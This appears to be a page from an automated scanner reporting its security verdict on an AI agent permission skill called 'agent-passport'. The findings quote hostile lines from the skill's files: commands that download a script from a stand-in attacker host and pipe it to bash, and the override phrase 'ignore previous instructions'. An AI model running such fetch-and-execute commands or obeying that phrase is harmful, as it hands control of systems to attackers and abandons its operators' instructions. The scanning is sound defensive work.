Caveat verdict

agent-passport

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

A consent-gating and permission-management tool for agent actions; all operations are local bash scripts that check mandates before allowing sensitive actions, which is exactly the stated security purpose.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
100
transparency
90
maintenance

Findings (7)

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

README.md · code · curl https://evil.com/payload.sh | bash

Pattern match critical

Pipe to bash — executes piped content as shell commands

README.md · code · | bash

Pattern match high

References sudo — requests elevated privileges

references/mandates.md · code · sudo

Pattern match high

Prompt injection — tries to override agent instructions

scripts/test-v2.3.sh · prose · downgraded · ignore previous instructions

Pattern match high

Pipe to sh — executes piped content as shell commands

scripts/test-v2.3.sh · prose · downgraded · | sh

Pattern match high

Pipe-to-shell pattern (wget | sh)

scripts/test-v2.3.sh · prose · downgraded · wget https://bad/x.sh | bash

Pattern match low

Popular HTTP library — network access

scripts/test-v2.3.sh · prose · downgraded · got

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/B). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

Requires 1 environment variable. Requires 6 system binaries.

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API